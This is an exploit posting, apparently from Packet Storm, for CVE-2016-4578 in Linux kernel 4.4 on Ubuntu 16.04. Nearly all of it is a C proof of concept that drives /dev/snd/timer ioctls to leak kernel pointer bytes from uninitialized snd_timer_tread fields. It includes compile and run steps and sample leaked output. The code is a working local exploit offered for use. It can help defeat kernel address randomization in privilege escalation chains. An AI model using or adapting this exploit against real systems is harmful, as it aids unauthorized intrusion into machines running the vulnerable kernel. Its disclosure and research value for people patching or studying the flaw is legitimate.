Linux Kernel 4.4 (Ubuntu 16.04) snd_timer_user_ccallback() Kernel Pointer Leak

Linux Kernel version 4.4 (Ubuntu 16.04) suffers from a snd_timer_user_ccallback() kernel pointer leak vulnerability.

MD5 | cf9d401a9cb8b4f7cdf8742a64581c60

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#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()

# Google Dork: -

# Date: 2019-03-11

# Exploit Author: wally0813

# Vendor Homepage: -

# Software Link: -

# Version: Linux Kernel 4.4 (Ubuntu 16.04)

# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

# CVE: CVE-2016-4578

# Category: Local



/*
 * [ Briefs ]
 *    - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read()
 *    - This is local exploit against the CVE-2016-4578.
 *
 * [ Tested version ]
 *    - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    -  
 *
 * [ Goal ]
 *    - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback()
 *
 * [ Run exploit ]
 *    - $ gcc -o poc poc.c
 *    - $ sudo ./poc
 *      leak_value(event) : ffff8800
 *      leak_value(val) : ffffffff
 *
 * [ Contact ]
 *    - [email protected]
 */



int fd;

void leak(){

  struct snd_timer_tread td;
  struct snd_timer_select st;
  struct snd_timer_params ps;
  int r;
  unsigned int leak_value_e, leak_value_v;
  int tread;

  memset(&td,0,sizeof(td));
  memset(&st,0,sizeof(st));
  memset(&ps,0,sizeof(ps));


  // set tread
  tread = 1;
  ps.filter |= 1<<SNDRV_TIMER_EVENT_START;
  ps.ticks = 1000 * 1000;

  r = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread);
  if (r) {
    printf("SNDRV_TIMER_IOCTL_TREAD error : %d, %s\n", errno, strerror(errno));
    return;
  }


  // vuln trigger
  st.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL;
  st.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;
  r = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st);
  if (r) {
    printf("SNDRV_TIMER_IOCTL_SELECT error : %d, %s\n", errno, strerror(errno));
    return;
  }

  r = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps);
  if (r) {
    printf("SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\n", errno, strerror(errno));
    return;
  }

  r = ioctl(fd, SNDRV_TIMER_IOCTL_START);
    if (r) {
      printf("SNDRV_TIMER_IOCTL_START error : %d, %s\n", errno, strerror(errno));
      return;
  }


    // get leak
  r = read(fd, &td, sizeof(td));
  
  leak_value_e = *((unsigned long *)(&td.event+1));
  printf("leak_value(event) : %lx\n", leak_value_e);

  leak_value_v = *((unsigned long *)(&td.val+1));
  printf("leak_value(val) : %lx\n", leak_value_v);

}

int main(int argc, char **argv)
{
  fd = open("/dev/snd/timer", O_RDWR);

  if (fd < 0) {
    printf("open error : %d, %s\n", errno, strerror(errno));
    return -1;
  }

  leak();
  close(fd);
  return 0;
}

Source: packetstormsecurity.com